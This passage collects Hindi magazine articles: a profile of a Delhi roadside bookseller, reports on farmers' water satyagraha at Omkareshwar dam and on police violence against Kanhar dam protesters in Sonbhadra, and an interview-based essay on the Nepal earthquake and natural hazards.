वे आगे कहती हैं, ‘…लेकिन जब ज्ञानपीठ प्रकाशन से मेरी नौकरी गई और मैं बेरोजगार थी तो घर चलाने में बहुत दिक्कत होने लगी. बच्चों की पढ़ाई प्रभावित होने लगी. फिर मैंने फैसला किया, जो पिछले कई सालों से लेना चाह रही थी लेकिन एक अनजाने डर की वजह से बार-बार रुक जाती थी. अपना काम शुरू करने का मन था और फिर श्रीराम सेंटर के बाहर सड़क किनारे किताबों की दुकान लगाने का फैसला कर लिया’. पिछले साल 14 अगस्त को अंजना से पहली दफा कुछेक किताबों के साथ अपना काम शुरू किया.

आज इनके पास तीन से चार हजार किताबें हैं. वो हर रोज अपनी स्कूटी से आती हैं और पास के एक कमरे से सभी किताबें लाकर यहां अपनी दुकान सजाती हैं और रात में किताबें समेटकर वापस घर लौट जाती हैं. संजना बताती हैं, ‘हर रोज इतनी किताबों को लाना, लगाना और फिर इन्हें उठाकर रखना आसान काम तो है नहीं लेकिन कर भी क्या सकते हैं. अब तो मुझे इस काम में मजा आने लगा है. अब इसमें कोई परेशानी भी नहीं होती. यहां लोग भी बहुत अच्छे हैं, अगर दिन में थोड़ी देर के लिए मुझे इधर-उधर जाना होता है तो मैं इनलोगों के भरोसे दुकान छोड़कर चली जाती हूं. रात को नौ-दस बजे मैं अपनी दुकान बढ़ाती हूं लेकिन आजतक किसी ने किसी भी तरह से परेशान नहीं किया. हां, जब एक-दो दफा दिल्ली पुलिस के लोग आए तो इन्हीं बच्चों ने मेरी दुकान बचाई. यही लोग मेरे ग्राहक हैं और इन्हीं लोगों की मदद से मैं अपनी दुकान चला पा रही हूं.’

हर बात मुस्कुराते हुए बोलनेवाली संजना के मन में किसी के लिए कोई कड़वाहट नहीं है. न तो उन्हें वाणी प्रकाशन से नौकरी जाने की शिकायत है और न ही ज्ञानपीठ प्रकाशन से नौकरी छोड़ने का मलाल. वे कहती हैं, ‘शिकायत क्या करना. उनकी नौकरी थी सो जब उन्हें ठीक लगा हटा दिया. अगर वे ऐसा न करते तो आज मैं अपना काम करने की हिम्मत नहीं जुटा पाती. जो हुआ अच्छा हुआ.’

कहानी में कविता-सी लय हो और कविता में कहानी हो. पुराने लेखकों के लेखन में इसकी झलक मिलती है लेकिन आज किताबों में वैसा असर नहीं होता

मूलत: बिहार के सीवान जिले से आनेवाली संजना की खुद की पढ़ाई-लिखाई केवल 12वीं तक हुई है. इसके बाद घरवालों ने उनकी शादी राधेश्याम तिवारी से करवा दी थी. 50 वर्षीय राधेश्याम तिवारी देश के एक बड़े हिंदी अखबार में पिछले कई सालों से पत्रकार हैं लेकिन उनकी तनख्वाह इतनी नहीं कि वह अकेले परिवार का खर्च चला सकें. संजना के मुताबिक, ‘वे एक ऐसे इंसान हैं जिसकी वजह से वह यह सब कर पा रही हैं.’ इस तरह खुले में दुकान लगाने से परिवार या पति को कोई एतराज, के सवाल पर वे कहती हैं, ‘नहीं… मेरे पति या मेरे बच्चों को कभी कोई एतराज नहीं हुआ. हां, कुछ साल पहले सीवान में रह रहे मेरे छोटे भाई को इससे दिक्कत हुई थी और उसने मुझसे कहा था कि मैं किसी को न बताऊं कि मैं उसकी बहन हूं. हालांकि वो मुझसे बहुत छोटा है और मुझे उससे यह सब सुनना अच्छा भी नहीं लगा था लेकिन मैंने उसे तभी कह दिया था. ठीक है, मैं नहीं कहूंगी.’

आज की तारीख में संजना के पास हर वो किताब है जिसे मंडी हाउस आने-जानेवाला व्यक्ति खोज या मांग सकता है. महीने में वे 70 से 75 हजार रुपये की किताबें बेच लेती हैं. बतौर मेहनताना इन्हें इस पर 20 प्रतिशत मिलता है. क्या इंटरनेट के आने से लोग किताबें खरीदना पसंद नहीं कर रहे हैं? इसके जवाब में वे कहती हैं, ‘मुझे ऐसा नहीं लगता. आज से आठ साल पहले जब मैं यहीं वाणी प्रकाशन की नौकरी करती थी तो महीने में 30 या 40 हजार रुपये की किताबें बिकती थीं आज मैं 70 से 75 हजार रुपये की किताबें बेच रही हूं.

अगर इंटरनेट की वजह से फर्क पड़ना होता तो बिक्री घटनी चाहिए थी न? लेकिन ऐसा नहीं हुआ? मैं पहले से ज्यादा किताबें बेच रही हूं. मुझे लगता है कि आज भी पाठक किताब खरीदने से पहले उसे हाथ में उठाकर उलटना-पलटना चाहता है.’ संजना ऐसी पुस्तक विक्रेता हैं जो न सिर्फ किताबें बेचती है, बल्कि उन्हें पढ़ना भी पसंद है. निर्मल वर्मा, प्रेमचंद, रेणु से लेकर तुलसीराम और टीवी पत्रकार रवीश कुमार की हालिया किताब ‘इश्क में शहर होना’ को उन्होंने पढ़ा है. सारी किताबें पढ़ने के सवाल पर संजना कहती हैं, ‘न, न… सारी नहीं कुछेक तो जरूर पढ़ती हूं. इसका दोहरा फायदा है. एक, किताब के बारे में पाठकों को अच्छे से समझा पाती हूं और दूसरी, राधेश्याम जी किताबों की समीक्षा भी लिखते हैं सो उनकी भी मदद कर देती हूं, जिससे उनका काम आसान हो जाता है.’

तकरीबन ढाई-तीन घंटे उनकी दुकान पर रहने पर एक बात साफ समझ आ जाती है कि वहां आनेवाले ज्यादातर ग्राहक आज भी प्रेमचंद, गुलजार, गालिब, इस्मत चुगताई और मंटो की किताबें खोज रहे हैं. हाल में प्रकाशित किताबों को कोई खोजता हुआ नहीं दिखता. सिर्फ पुराने लेखकों की ही किताब रखने के सवाल पर वे तंज कसते हुए कहती हैैं, ‘पुराने लेखक? हिंदी में यही लेखन है और यही लेखक हैं. नया तो कुछ लिखा ही नहीं जा रहा है. कुछेक लेखकों को छोड़ दें तो बाकी तो पुस्तकालयों में सहेजने के लिए ही लिखा और छापा जा रहा है.’ वे आगे कहती हैं, ‘देखिए… हम पाठक को तभी बांध सकते हैं जब लेखन में दम हो. कहानी में कविता-सी लय हो और कविता में कहानी हो.पुराने लेखकों के लेखन में इसकी झलक मिलती है लेकिन आज की ज्यादातर किताबों में वैसा असर नहीं होता.’

संजना का दावा है कि हाल के वर्षों में प्रकाशित किताबों में तुलसीराम की आत्मकथा ‘मुर्दहिया’ और ‘मणिकर्णिका’ और व्यंग्यकार ज्ञान चतुर्वेदी का व्यंग्य ‘हम न मरब’ पाठकों के बीच खासे लोकप्रिय हैं. वहीं टीवी पत्रकार रवीश कुमार की किताब ‘इश्क में शहर होना’ की भी पूछपरख है. फिलहाल संजना को बरसात के दिनों में अपनी दुकान लगाने को लेकर परेशानी का सामना करना पड़ता है. पिछले साल दिसंबर की बेमौसम बरसात में इनकी काफी किताबें भीग गई थीं. आज भी वे सारी बेकार पड़ी हैं. संजना बरसात से बचने का रास्ता जरूर खोज रही हैं लेकिन इससे वे परेशान बिल्कुल नहीं हैं. वे कहती हैं, ‘हर छोटी, बड़ी बात पर परेशान नहीं हुआ जाता. परेशानी में समस्या का हल खोजना मुश्किल होता है. यह आराम से किया जा सकता है. वैसे भी पिछले कई वर्षों में इतनी परेशानियां आईं कि उनके आगे ये सब तो छोटी लगती हैं.’

संजना के चेहरे पर एक बार फिर वही हल्की मुस्कान छा जाती है जिसके साथ मैं उन्हें पिछले कई घंटो से देख रहा हूं. इसी मुस्कान के साथ वो द्वारिका प्रसाद माहेश्वरी की कविता ‘वीर तुम बढ़े चलो’ की कुछ पंक्तियां बोलती हैं- सामने पहाड़ हो / सिंह की दहाड़ हो / तुम निडर डरो नहीं / तुम निडर डटो वहीं / वीर तुम बढ़े चलो!

जल सत्याग्रह: ‘लड़ेंगे-मरेंगे, जमीन नहीं छोड़ेंगे’

देश में भूमि अधिग्रहण कानून को लेकर खूब बहस हो रही है, इधर मध्य प्रदेश में ओंकारेश्वर बांध का जलस्तर बढ़ाए जाने को लेकर करीब एक पखवाड़े से किसान खंडवा जिले के घोघल गांव में जल सत्याग्रह कर रहे हैं. लगातार पानी में खड़े होने से सत्याग्रही किसानों के पैरों की त्वचा भी गलने लगी व खून का रिसाव शुरू हो चुका है. इतना सब होने के बावजूद प्रदेश सरकार उदासीन नजर आ रही है, लेकिन जल सत्याग्रही ‘लड़ेंगे, मरेंगे जमीन नहीं छोड़ेंगे’ के नारों के साथ डटे हुए हैं.
पिछले दिनों मध्य प्रदेश सरकार द्वारा बांध का जलस्तर 189 से बढ़ाकर 191 मीटर कर दिया गया है जिससे क्षेत्र के किसानों की कई एकड़ उपजाऊ जमीन डूब क्षेत्र में आ गई है. किसानों का कहना है कि उनकी उपजाऊ जमीनों के बदले जो जमीन दी गई है वह किसी काम की नहीं है. बीते 11 अप्रैल को नर्मदा बचाओ आंदोलन और ‘आप’ के नेतृत्व में यह जल सत्याग्रह शुरू किया था. मांग है कि पुनर्वास नीति के तहत जमीन के बदले जमीन और सर्वोच्च न्यायालय द्वारा निर्धारित मुआवजा दिया जाए. आंदोलनकारियों के समर्थन में दिल्ली और प्रदेश के मुख्यमंत्रियों को पत्र भी लिख चुके हैं जिसमें उचित पुनर्वास की मांग की गई है.

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इससे पहले वर्ष 2012 में भी राज्य सरकार ने सर्वोच्च न्यायालय के फैसले एवं पुनर्वास नीति को नजरअंदाज करते हुए बांध को 189 से बढ़ाकर 193 मीटर तक भरने का निर्णय लिया था जिससे 1000 एकड़ जमीन और 60 गांव डूबने की कगार पर आ चुके थे. इसके विरोध में इसी घोघलगांव में 51 पुरुष और महिलाएं जल सत्याग्रह करने लगे जिनके समर्थन में वहां 250 गांवों के करीब 5000 लोग जुड़ गए थे. आंदोलन 17 दिनों तक चला और सरकार द्वारा जमीन के बदले जमीन देने और बांध के जलस्तर को 189 मीटर पर नियंत्रित रखने के आदेश के बाद आंदोलन समाप्त हुआ था.

अब एक बार फिर वही कहानी दोहराई जा रही है लेकिन इस बार सरकार किसानों और प्रभावितों की बात ही सुनने को तैयार नहीं दिखाई पड़ती है, अभी तक कोई भी सरकारी नुमाइंदा उनकी बात सुनने नहीं आया है. उलटे राज्य सरकार के नर्मदा घाटी विकास राज्यमंत्री लाल सिंह आर्य ने इस आंदोलन का आधारहीन करार देते हुए कहा है, ‘महज कुछ लोग ही जलस्तर बढ़ाने का विरोध कर रहे हैं… ओंकारेश्वर नहर से हजारों किसानों को सिंचाई का लाभ देने का विरोध समझ से परे है.’ मुख्यमंत्री शिवराज सिंह ने भी कहा, ‘निमाड़ अंचल के किसानों की समृद्घि के लिए ओंकारेश्वर बांध की ऊंचाई 191 मीटर तक करना जरूरी है इसलिए जो लोग भ्रम में आकर जल सत्याग्रह कर रहे हैं वे तत्काल इसे समाप्तकर उत्सव मनाएं.’ वहीं नर्मदा बचाओ आंदोलन के वरिष्ठ कार्यकर्ता और आप के प्रदेश संयोजक आलोक अग्रवाल का कहना है कि किसी के दर्द पर विकास का उत्सव नहीं मनाया जाना चाहिए. उनका आरोप है कि विस्थापितों को बंजर और अतिक्रमित जमीन देकर धोखा दिया गया और आज तक एक भी प्रभावित को सर्वोच्च न्यायालय के आदेश के अनुसार सिंचित और उपजाऊ जमीन नहीं दी गई है.
ओंकारेश्वर बांध से प्रभावित रमेश कडवाजी जैसे किसान सत्याग्रह जारी रखे हुए हैं. उनकी 4.5 एकड़ जमीन डूब में आ रही है. शीर्ष अदालत के आदेश के बाद शिकायत निवारण प्राधिकरण ने कहा था कि वे 5 एकड़ जमीन के पात्र हैं. आदेश के अनुसार रमेश ने मुआवजे के मिले 3 लाख रुपये वापस कर दिए. इसके बदले में उन्हें अतिक्रमित व गैर उपजाऊ जमीन दिखाई गई, जिसे उन्होंने लेने से इंकार कर दिया. अभी तक उन्हें कोई दूसरी जमीन नहीं दिखाई गई है. अब उन जैसे सैकड़ों किसान अपने पैरों को सड़ाकर अपना प्रतिरोध जताने को मजबूर है.

कनहर में दफन होती समाजवाद की थीसिस

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इस साल अक्षय तृतीया पर जब देशभर में लगन चढ़ा हुआ था, बारातें निकल रही थीं और हिंदी अखबारों के स्थानीय संस्करण हीरे-जवाहरात के विज्ञापनों से पटे पड़े थे, तब बनारस से सटे सोनभद्र के दो गांवों में पहले से तय दो शादियां टल गईं. फौजदार (पुत्र केशवराम, निवासी भीसुर) के बेटे का 22 अप्रैल को तिलक था. शादी अगले हफ्ते होनी थी. पड़ोस के गांव में 24 अप्रैल को देवकलिया और शनीचर (निवासी सुंदरी) की बेटी की शादी थी. हाल ये था कि फौजदार समेत देवकलिया और शनीचर सभी 20 अप्रैल तक दुद्धी तहसील के ब्लॉक चिकित्सालय में भर्ती थे. देवकलिया की बेटी घर पर अकेली थी. 20 की शाम को अचानक फौजदार और शनीचर को गंभीर घायल घोषित कर के पांच अन्य मरीजों के साथ जिला चिकित्सालय में भेज दिया गया जबकि देवकलिया को दस मरीजों के साथ छुट्टी दे दी गई. देवकलिया जानती थी कि चार दिन में अगर वह शादी की तैयारी कर भी लेगी तो उसके पति शनीचर को अस्पताल से नहीं छोड़ा जाएगा क्योंकि उत्तर प्रदेश के समाजवादी राज में सरकारी अस्पताल ‘जेल’ साबित हो रहा है.

उत्तर प्रदेश के मुख्यमंत्री अखिलेश यादव को शायद नहीं पता कि हेम्बोल्ट विश्वविद्यालय के अभिलेखागार से राममनोहर लोहिया की जिस गायब थीसिस पर वे अप्रैल के तीसरे सप्ताह में ट्वीट कर के चिंता जता रहे थे, उसे उत्तर प्रदेश की पुलिस ने कनहर नदी की तलहटी में हफ्ताभर पहले ही दफना दिया था. पिछले पांच महीने से सोनभद्र जिले को ‘विकास’ नाम का रोग लगा हुआ है. इसके पीछे पांगन नदी पर प्रस्तावित कनहर नाम का एक बांध है जिसे कोई चालीस साल पहले सिंचाई परियोजना के तहत मंजूरी दी गई थी. झारखंड (तत्कालीन बिहार), छत्तीसगढ़ (तत्कालीन मध्य प्रदेश) और उत्तर प्रदेश के बीच आपसी मतभेदों के चलते लंबे समय तक इस पर काम रुका रहा. बीच में दो बार इसका लोकार्पण भी हुआ. पिछले साल जिस वक्त अखिलेश यादव की सरकार ने नई-नई विकास परियोजनाओं का एेलान करना शुरू किया, ठीक तभी उनकी सरकार को इस भूले हुए बांध की भी याद हो आई. कहते हैं कि उनके चाचा सिंचाई मंत्री शिवपाल सिंह यादव ने इसमें खास दिलचस्पी दिखाई और सोनभद्र को हरा-भरा बनाने के नाम पर इसका काम शुरू करवा दिया. दिसंबर में काम शुरू हुआ तो ग्रामीणों ने विरोध करना शुरू किया. प्रशासन से उनकी पहली झड़प 23 दिसंबर 2014 को हुई. इसके बाद 14 अप्रैल, 2015 को आंबेडकर जयंती के दिन पुलिस ने धरना दे रहे ग्रामीणों पर लाठियां बरसाईं और गोली भी चलाई. एक आदिवासी अकलू चेरो को छाती के पास गोली लगकर आर-पार हो गई. वह बनारस के सर सुंदरलाल चिकित्सालय में भर्ती है. उसे अस्पताल लानेवाले दो साथी लक्ष्मण और अशर्फी मिर्जापुर की जेल में बंद हैं. इस घटना के बाद भी ग्रामीण नहीं हारे. तब ठीक चार दिन बाद 18 अप्रैल की सुबह सोते हुए ग्रामीणों को मारकर खदेड़ दिया गया, उनके धरनास्थल को साफ कर दिया गया और पूरे जिले में धारा 144 लगा दी गई. यह धारा 19 मई तक पूरे जिले में लागू है. अब तक दो दर्जन से ज्यादा गिरफ्तारियां हो चुकी हैं. आंदोलनकारियों को चुन-चुनकर पकड़ा जा रहा है.

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फौजदार, शनीचर और देवकलिया उन 15 घायलों में शामिल सिर्फ तीन नाम हैं जिन्हें 20 अप्रैल तक दुद्धी के ब्लॉक चिकित्सालय में बिना पानी, दातुन और खून से लथपथ कपड़ों में अंधेरे वार्डों में कैद रखा गया था. प्रशासन की सूची के मुताबिक 14 अप्रैल की घटना में 12 पुलिस अधिकारी/कर्मचारी घायल हुए थे जबकि सिर्फ चार प्रदर्शनकारी घायल थे. इसके चार दिन बाद 18 अप्रैल की सुबह पांच बजे जो हमला हुआ, उसमें चार पुलिसकर्मियों को घायल बताया गया है जबकि 19 प्रदर्शनकारी घायल हैं. दोनों दिनों की संख्या की तुलना करने पर ऐसा लगता है कि 18 अप्रैल की कार्रवाई हिसाब चुकाने के लिए की गई थी. इस सूची में कुछ गड़बडि़यां भी हैं. मसलन, दुद्धी ब्लॉक के सरकारी चिकित्सालय में भर्ती सत्तर पार के जोगी साव और तकरीबन इतनी ही उम्र की रुकसार का नाम सरकारी सूची में नहीं है.

हम वास्तव में नहीं जान सकते कि कनहर बांध की डूब से सीधे प्रभावित होनेवाले गांवों सुंदरी, भीसुर और कोरची के कितने बसे-बसाए घर उजड़ जाएंगे

हम वास्तव में नहीं जान सकते कि कनहर बांध की डूब से सीधे प्रभावित होनेवाले गांवों सुंदरी, भीसुर और कोरची के कितने घरों में इस लगन में बारात आने वाली थी, कितने घरों में वाकई आई और कितनों में शादियां टल गईं. कितने घर बसने से पहले उजड़ गए और कितने बसे-बसाये घर बांध के कारण उजड़ेंगे, दोनों की संख्या जानने का कोई भी तरीका हमारे पास नहीं है. दरअसल, यहां कुछ भी जानने का कोई तरीका नहीं है सिवाय इसके कि आप सरकारी बयानों पर जस का तस भरोसा कर लें. वजह इतनी-सी है कि यहां एक बांध बन रहा है और बांध का मतलब विकास है. इसका विरोध करनेवाला कोई भी व्यक्ति विकास-विरोधी और राष्ट्र-विरोधी है. भरोसा न हो तो विंध्य मंडल के मुख्य अभियंता कुलभूषण द्विवेदी के इस बयान पर गौर करें, ‘पहली बार देश को मर्द प्रधानमंत्री मिला है. पूरी दुनिया में उसने भारत का सिर ऊंचा किया है वरना हम कुत्ते की तरह पीछे दुम दबाए घूमते थे.’ इनका कहना है कि मुख्य सचिव, मुख्यमंत्री और आला अधिकारी 14 अप्रैल की गोलीबारी के बाद कनहर बांध पर रोज बैठकें कर रहे हैं और पूरे इलाके को छावनी में तब्दील करने का आदेश ऊपर से आया है. फिलहाल कनहर में मौजूद पुलिस चौकी को थाने में तब्दील किया जा रहा है.

सोनभद्र के पुलिस अधीक्षक शिवशंकर यादव कहते हैं, ‘पूरी जनता साथ में है कि बांध बनना चाहिए. सरकार साथ में है. तीनों राज्य सरकारों का एग्रीमेंट हुआ है बांध बनाने के लिए… हम लोगों ने जितना एहतियात बरता है, उसकी जनता तारीफ कर रही है.’ यादव का यह बयान एक मान्यता है. इस मान्यता के पीछे काम कर रही सोच को आप सोनभद्र के युवा जिलाधिकारी संजय कुमार के इस बयान से समझ सकते हैं, ‘हमने जो भी बल प्रयोग किया, वह इसलिए ताकि लोगों को संदेश दिया जा सके कि लॉ ऑफ द लैंड इज देयर… आप समझ रहे हैं? ऐसे तो लोगों में प्रशासन और पुलिस का डर ही खत्म हो जाएगा. कल को लोग कट्टा लेकर गोली मार देंगे… आखिर हमारे दो गजेटेड अफसर घायल हुए हैं..!’

सुंदरी में 18 अप्रैल की सुबह साठ-सत्तर साल के बूढ़ों के सिर पर डंडा मारा गया है. औरतों के कूल्हों में डंडा मारा गया है. जहूर के हाथ पर पुलिस ने इतना जाेर से मारा कि उसकी तीन उंगलियां फट गई हैं. पुलिस अधीक्षक यादव कहते हैं, ‘सिर पर इरादतन नहीं मारा गया, ये ‘इंसिडेंटल’ (संयोगवश) है.’ ‘क्या तीनों बुजुर्गों के सिर पर किया गया वार ‘इंसिडेंटल’ है?’ इस सवाल के जवाब में वे बोले, ‘बल प्रयोग किया गया था, ‘इंसिडेंटल’ हो सकता है. हम कोई दुश्मन नहीं हैं, इसकी मंशा नहीं थी.’ ‘और 14 अप्रैल को अकलू के सीने को पार कर गई गोली?’ यादव विस्तार से बताते हैं, ‘पुलिस ने अपने बचाव में गोली चलाई. थानेदार (कपिलदेव यादव) को लगा कि मौत सामने है.’ इस घटना के बारे में बीएचयू में भर्ती अकलू का कहना है, ‘हमको मारकर के थानेदार (कपिलदेव यादव) अपने हाथ में गोली मार लिए हैं और कह दिए कि ये मारे हैं… बताइए…’

जिलाधिकारी संजय कुमार को इस बात का विशेष दुख है कि अफवाह फैलाकर उनके प्रशासन को बदनाम किया जा रहा है. वे कहते हैं, ‘हजारों मैसेज सर्कुलेट किए गए हैं कि छह लोगों को मारकर दफनाया गया है. इंटरनेशनल मीडिया भी फोन कर रहा है. एमनेस्टी वाले यही कह रहे हैं. हम लोग पागल हो गए हैं जवाब देते-देते. इतनी ज्यादा अफवाह फैलाई गई है. चार दिन तक हम लोग सोये नहीं.’ आखिर कौन फैला रहा है यह अफवाह? जवाब में जिलाधिकारी हमें एक एसएमएस दिखाते हैं जिसमें 18 तारीख के हमले में पुलिस द्वारा छह लोगों को मारकर दफनाए जाने की बात कही गई है. भेजनेवाले का नाम रोमा है. रोमा सोनभद्र के इलाके में लंबे समय से आदिवासियों के लिए काम करती रही हैं. 14 अप्रैल की घटना के बाद जिन लोगों पर नामजद एफआईआर की गई उनमें रोमा भी हैं. पुलिस को उनकी तलाश है. डीएम कहते हैं कि कनहर बांध विरोधी आंदोलन को रोमाजी ने अपना निजी एजेंडा बना लिया है. ‘तो क्या सारे बवाल के केंद्र में अकेले रोमा हैं?’ यह सवाल पूछने पर वे मुस्कराकर कहते हैं, ‘लीजिए, सारी रामायण खत्म हो गई. आप पूछ रहे हैं सीता कौन है.’ डीएम और एसपी दोनों अबकी हंस देते हैं.

स्थानीय लोगों की मानें तो कनहर बचाओ आंदोलन गांधीवादी कार्यकर्ता महेशानंद ने बरसों पहले शुरू किया था लेकिन आज की तारीख में लोग रोमा को ही अपना नेता मानते हैं. नेतृत्व के बारे में सवाल पूछने पर पुलिस अधीक्षक शिवशंकर यादव कहते हैं, ‘महेशानंद आंदोलन छोड़कर भाग गए हैं. उन्होंने मान लिया है कि उनके हाथ में अब कुछ भी नहीं है. उनका कहना है कि बस उनके खिलाफ मुकदमा नहीं होना चाहिए. उनके जाने के बाद रोमाजी ने कब्जा कर लिया है.’ प्रशासन को रोमा से दिक्कत दूसरी वजहों से है. यादव कहते हैं, ‘महेशानंद बांध क्षेत्र से बाहर के इलाके में शांतिपूर्ण आंदोलन चलाते थे. इससे हमें कोई दिक्कत नहीं थी.’ डीएम कहते हैं, ‘रोमा बहुत अडि़यल मिजाज की हैं.’

बांध विरोधी आंदोलन में सक्रिय भीसुर के एक नौजवान शिक्षक दुखी मन से कहते हैं, ‘आंदोलन की दिशा टूटने के कगार पर पहुंच चुकी है. जनता बहुत चोटिल हो चुकी है. आधे लोग धरने से उठकर चले गए थे. उन्हें किसी तरह वापस लाया गया है. महेशानंद भाग ही गए, गम्भीराजी पर लोगों को भरोसा नहीं रहा और रोमाजी तो यहां हैं ही नहीं, हालांकि गोली और लाठी यहां उन्हीं के लोग खा रहे हैं.’ बांध विरोधी आंदोलन के नेता गम्भीरा प्रसाद को 20 अप्रैल की शाम इलाहाबाद से गिरफ्तार कर जेल भेजा जा चुका है. सबसे ताजा गिरफ्तारी भीसुर के पंचायत मित्र पंकज गौतम की है.

इस दौरान राष्ट्रीय हरित पंचाट (एनजीटी) द्वारा लगाई गई रोक का उल्लंघन करके कनहर बांध पर काम लगातार जारी है. डीएम और एसपी इस रोक को ‘व्याख्या’ का मामला मानते हैं. इलाके में पुलिस बल बढ़ा दिया गया है. दिल्ली से एक जांच दल और गोलीकांड के बाद मेधा पाटकर के यहां आने से जो खबरें और तस्वीरें बाहर निकलकर राष्ट्रीय मीडिया में आ पाई हैं, उनसे सरकार बहुत चिंतित है क्योंकि यह मामला सिर्फ एक अवैधानिक बांध बनाने का नहीं बल्कि पैसों की भारी लूट और बंटवारे का भी है.

हम किरायेदार हैं, मालिक नहीं

नेपाल में जो हुआ है वो हाल के दिनों की एक बड़ी त्रासदी है. यह ऐसी त्रासदी है जिसे हम रोक नहीं सकते थे. पृथ्वी ग्रह पर हम एक किरायेदार की तरह हैं लेकिन हमने खुद को मालिक समझ लिया है. हमने बहुत समय से किराया देना बंद कर दिया है. उलटे हम पृथ्वी से किराया वसूलने की कोशिश करने में लगे हुए हैं. दूसरी बात, धरती पर हमने हर जगह अपनी आबादी फैला ली है. हमने अपने लिए घर बना लिए हैं और इस मुगालते में हैं कि इन घरों में हम सुरक्षित हैं लेकिन वास्तव में ऐसा है नहीं. धरती की सतह के नीचे और आसमान में बहुत-सी हलचलें हो रही हैं और इस वजह से कई प्राकृतिक विपदाएं आने को तैयार खड़ी हैं.

आज से 20 लाख साल पहले धरती हमें मिली थी तब यह एक सुंदर बगीचे सा था, हरा-भरा… लेकिन जैसे-जैसे हमारी सभ्यता का विकास होता गया. जैसे-जैसे हमारी संख्या बढ़ती गई हम इस सुंदर और ‘स्वर्गीय’ बगीचे को नरक बनाते चले गए. कुछ लोगों का मानना है कि इसके लिए विज्ञान और तकनीक जिम्मेदार हैं लेकिन मैं मानता हूं कि इसके लिए सिर्फ और सिर्फ इंसानी लालच जिम्मेदार है. सुख-सुविधाओं की बढ़ती भूख ने आज इस ग्रह (पृथ्वी) को बर्बादी की उस कगार तक पहुंचा दिया है जिसकी कल्पना भी नहीं की जा सकती है.

70 हजार साल पहले की त्रासदी में हम दस फीसदी तक बच गए थे लेकिन अब तो इतनी आबादी का बचना भी मुश्किल लगता है

अब यहां दो बातें साफ करना चाहूंगा. पहली बात कि भूकंप हमें नहीं मारते हैं. ये जो तबाही हम आज देख रहे हैं वो केवल भूकंप की वजह से नहीं है. हमें मारते हैं हमारे वो घर जिन्हें हमने अपने लिए बनाया है और जिसमें बैठकर हम अपने-आप को सुरक्षित महसूस करते हैं.

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दूसरी बात आज, हालांकि इस बारे में अभी वैज्ञानिकों में एक राय नहीं है लेकिन ऐसी आशंका है कि हम जो बड़े-बड़े बांध बना रहे हैं, कहीं उसकी वजह से तो भूकंप की भीषणता नहीं बढ़ रही है. जब पहाड़ी इलाकों में बड़े-बड़े बांध बनते हैं तो बड़े पैमाने पर पहाड़ों के साथ तोड़फोड़ की जाती है. जब बांध बन जाते हैं तो इससे पानी रिसता है और ये पानी सतह की दरारों से होता हुआ नीचे पहुंचता है. इस वजह से सतह के नीचे की चट्टानें कमजोर होती हैं. कहने का अर्थ यह कि इससे बिल्कुल इनकार नहीं किया जा सकता कि मानवीय मौजूदगी की वजह से भूकंप का प्रकोप बढ़ रहा है. धरती पर रहने के दूसरे कई और भी खतरे हैं.

अभी हाल ही में चिली में ज्वालामुखी विस्फोट हुआ है. वैज्ञानिकों को इस बात की आशंका है कि भविष्य में एक बड़ा ज्वालामुखी विस्फोट हमारे इंतजार में है. अगर ऐसा हुआ तो यह मानव जीवन की एक बड़ी त्रासदी साबित होगी. आज से 70 हजार साल पहले जावा के माउंट टोबा में एक ज्वालामुखी विस्फोट हुआ था. तब इसकी वजह से पूरे एशिया महाद्वीप के ऊपर तीन से चार फीट मोटी राख की परत जमा हो गई थी.

तब पृथ्वी पर मनुष्य जाति के अस्तित्व तक पर संकट के बादल मंडराने लगे थे. उस समय तक अफ्रीका से इंसान पलायन करके हिन्दुस्तान में आ चुके थे. इस विस्फोट में मनुष्य जाति की आबादी का मात्र दस से बीस फीसदी हिस्सा ही बच पाया था. वैज्ञानिकों को आशंका है कि भविष्य में जो ज्वालामुखी विस्फोट होगा वो ऐसी ही ताकतवाला होगा. इस तरह के एक विस्फोट का होना तय है लेकिन ये कहां होगा. कब होगा इसके बारे में आज हम कुछ भी जान पाने में असमर्थ हैं.

अब सवाल ये उठता है कि अब जब आबादी इतनी बढ़ चुकी है तो इस विस्फोट की वजह से कितना नुकसान होगा हम उसके बारे में आज कोई अंदाजा नहीं लगा सकते हैं. 70 हजार साल पहले की त्रासदी में कम से कम दस फीसदी तो बच गए थे लेकिन अब तो इतनी आबादी का बचना भी मुश्किल लगता है. आज हम अपनी आदतों और तकनीक पर अपनी निर्भरता की वजह से बहुत ‘नाजुक’ हो चुके हैं.

बहरहाल ये बातें हुईं जमीनी खतरों की. आसमान में भी हर वक्त कुछ न कुछ चलता रहता है. जब हम अपने अंतरीक्ष में देखते हैं तो वहां पृथ्वी के आसपास कई सारे खतरे मंडराते नजर आते हैं. अंतरीक्ष में कई ऐसे लघु ग्रह हैं जो पहले भी पृथ्वी से टकराते रहे हैं और आगे भी ऐसी टक्कर दे सकते हैं. इन लघु ग्रहों में से कुछ के आकार तो हिमालय पहाड़ जितने हैं. हालांकि इस क्षेत्र में विज्ञान ने अच्छा काम किया है और आज हम यह खोज पाने में सक्षम हैं कि कौन-सा उपग्रह या पिंड कब पृथ्वी से टकराने वाला है. फिर हम इस बात में भी सक्षम हैं कि भविष्य में होने वाली ऐसी टक्करों से अपनी धरती मईया को बचा सकें. कहने का तात्पर्य को धरती पर रहने के कई खतरे हैं. सो हमारी भलाई इसी में है कि हम धरती पर एक ईमानदार किरायेदार की तरह रहें न कि इसे अपनी जागीर समझकर नोचें-खसोटें.

(विकास कुमार से बातचीत पर आधारित)